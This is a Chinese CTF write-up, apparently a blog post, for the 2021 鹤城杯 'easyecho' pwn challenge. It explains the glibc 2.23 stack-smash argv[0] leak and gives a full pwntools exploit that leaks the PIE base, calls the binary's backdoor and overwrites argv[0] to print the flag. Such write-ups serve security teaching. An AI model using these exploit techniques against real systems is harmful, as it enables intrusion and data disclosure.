Featured image of post 2021_鹤城杯 Easyecho wp

2021_鹤城杯 Easyecho wp

字数: 1620

*** stack smashing detected ***: 神秘的力量

题面

二进制文件

stack mashing

当程序开启了 canary 保护,在栈溢出的时候就会出现:

1
*** stack smashing detected ***

后面可能会跟上一些数据,至少在 glibc2.23 是如此。
以 glibc2.23 为例子:在 glibc-2.23/debug/fortify_fail.c 中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>


extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

这就是检测 smash 的输出函数,注意到 __libc_message 第二个 %s 为 __libc_argv[0] 也就是常说的 argv[0] 第零参数,往往就是可执行文件的路径。

而 argv[0] 在栈上,如果有大量溢出可以改写这个数据,那么就可以读取想要的字符串数据了。
这无关 canary 保护,因为 canary 保护检测到栈溢出就会执行该函数,恰是我们所希望看到的。
⚠️注意:在 glibc2.31 之后,该漏洞就被修复了, fortify_fail.c 变成这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include <stdio.h>

void
__attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (do_abort, "*** %s ***: terminated\n", msg);
}
libc_hidden_def (__fortify_fail)

分析

checksec 查看保护全开,吓哭了。

1
2
3
4
5
6
7
8
❯ pwn checksec ./easyecho
[*] '/data/project/ctf-repo/pwn/nssctf/2021_鹤城杯-easyecho/easyecho'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  bool v3; // zf
  __int64 v4; // rcx
  char *v5; // rsi
  const char *v6; // rdi
  char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
  __int64 (__fastcall *v9)(); // [rsp+10h] [rbp-98h]
  char v10[104]; // [rsp+20h] [rbp-88h] BYREF
  unsigned __int64 v11; // [rsp+88h] [rbp-20h]

  v11 = __readfsqword(0x28u);
  sub_DA0(a1, a2, a3);
  sub_F40();
  v9 = sub_CF0;
  puts("Hi~ This is a very easy echo server.");
  puts("Please give me your name~");
  _printf_chk(1, "Name: ");
  sub_E40(v8);
  _printf_chk(1, "Welcome %s into the server!\n", v8);
  do
  {
    while ( 1 )
    {
      _printf_chk(1, "Input: ");
      gets(v10);
      _printf_chk(1, "Output: %s\n\n", v10);
      v4 = 9;
      v5 = v10;
      v6 = "backdoor";
      do
      {
        if ( !v4 )
          break;
        v3 = *v5++ == *v6++;
        --v4;
      }
      while ( v3 );
      if ( !v3 )
        break;
      ((void (__fastcall *)(const char *, char *))v9)(v6, v5);
    }
  }
  while ( strcmp(v10, "exitexit") );
  puts("See you next time~");
  return 0;
}

先输入姓名,然后打招呼完就是复读机……

sub_CF0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_CF0()
{
  __int64 v0; // rax
  int v1; // ebx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( unk_2020A0 )
  {
    return __readfsqword(0x28u) ^ v3;
  }
  else
  {
    unk_2020A0 = 1;
    v1 = open("./flag", 0);
    if ( v1 < 0 )
      perror("open");
    read(v1, &unk_202040, 0x50u);
    LODWORD(v0) = close(v1);
  }
  return v0;
}

这个函数读取 flag 写入到 unk_202040 中。unk_202040 是 .bss 段的数据。

回到 main 函数,姓名读取过程为:

1
2
3
4
  puts("Please give me your name~");
  _printf_chk(1, "Name: ");
  sub_E40(v8);
  _printf_chk(1, "Welcome %s into the server!\n", v8);

看起来没什么吧,但我看别人题解才知道可以拿来泄漏地址。

backdoor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
      _printf_chk(1, "Input: ");
      gets(v10);
      _printf_chk(1, "Output: %s\n\n", v10);
      v4 = 9;
      v5 = v10;
      v6 = "backdoor";
      do
      {
        if ( !v4 )
          break;
        v3 = *v5++ == *v6++;
        --v4;
      }
      while ( v3 );
      if ( !v3 )
        break;
      ((void (__fastcall *)(const char *, char *))v9)(v6, v5);
    }
  }

主程序在这里就是输入输出。 gets() 可以写入大量数据。 下面的 do while 用于比较与 v6(backdoor\x00) 是否相等。如果相等则执行 v9 的函数。
v9 保存的函数在前面看到就是 sub_CF0。

也就是说,在输入 backdoor 后,就会调用 sub_CF0 读 flag,将其存储在 .bss 中。

1
2
  while ( strcmp(v10, "exitexit") );
  puts("See you next time~");

最后就是程序退出的命令。

利用

首先要 patchelf 把 libc 换成 2.23 方便利用。

因为开启了 PIE 所以需要泄漏地址拿到基址才能读取需要的函数,在 gdb 里调试下,首先跑起来,拿到 pid 用 gdb attach。

Name 输入 thisname,然后运行到合适的地方 ctrl+c 把控制权交给 gdb 后,查看栈空间:

可以看到在 0x10 后栈上保存一个地址。

再通过 vmmap 比较基址偏移得到 0xcf0

我们可以发送 0x10 数据填充,这样接下来的 printf 就会把该地址打印出来,我们再 recv 处理就能得到基址。

1
2
3
4
5
io.recvuntil(b"Name:")
io.send(b"a" * 0x10)
io.recvuntil(b"a" * 0x10)
leak_addr = u64(io.recv(6).ljust(8, b"\x00"))
base_addr = leak_addr - 0xcf0

拿到基址后,可以尝试寻找在 .bss 存储 flag 的空间地址。

继续用 attach 程序然后在 Input 输入 backdoor 后,再次 attach 程序。
用 gdb-peda 的 find 命令寻找 flag 的地址:

要先提前在该目录下新建一个 flag 方便确认。
这里得到地址为: 0x55b1e6802040 之后再与基址比较得到偏移量为:0x202040。
在 exp 中,之前已经获得了基址,所以 flag 地址也被我们获得了:

1
2
flag_addr = base_addr + 0x202040
payload = b'a' * 0x168 + p64(flag_addr)

最后是获得栈上 argv[0] 相较于 input 的偏移量,得到填充大小。

先得到 input 的地址: 0x7ffe9fa70c30

在得到该地址:0x7ffe9fa70cc8

计算得到偏移量为 0x168。

之后我们填充 0x168 然后放上 flag 的地址。

1
2
3
4
flag_addr = base_addr + 0x202040
payload = b'a' * 0x168 + p64(flag_addr)
io.recvuntil(b"Input:")
io.sendline(payload)

接下来退出程序触发 stack smashing。

1
2
3
io.recvuntil(b"Input:")
io.sendline(b"exitexit")
io.interactive()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.log_level = 'info'

io = process("./easyecho")
#io = remote("node7.anna.nssctf.cn", 22422)

io.recvuntil(b"Name:")
io.send(b"a" * 0x10)
io.recvuntil(b"a" * 0x10)
leak_addr = u64(io.recv(6).ljust(8, b"\x00"))
base_addr = leak_addr - 0xcf0


io.recvuntil(b"Input:")
io.sendline(b"backdoor")

flag_addr = base_addr + 0x202040
payload = b'a' * 0x168 + p64(flag_addr)
io.recvuntil(b"Input:")
io.sendline(payload)

io.recvuntil(b"Input:")
io.sendline(b"exitexit")
io.interactive()

参考资料

  1. CTF Wiki 花式栈溢出技巧 Stack smash¶
  2. [2021 鹤城杯] easyecho 栈溢出与 Stack Smash 利用复现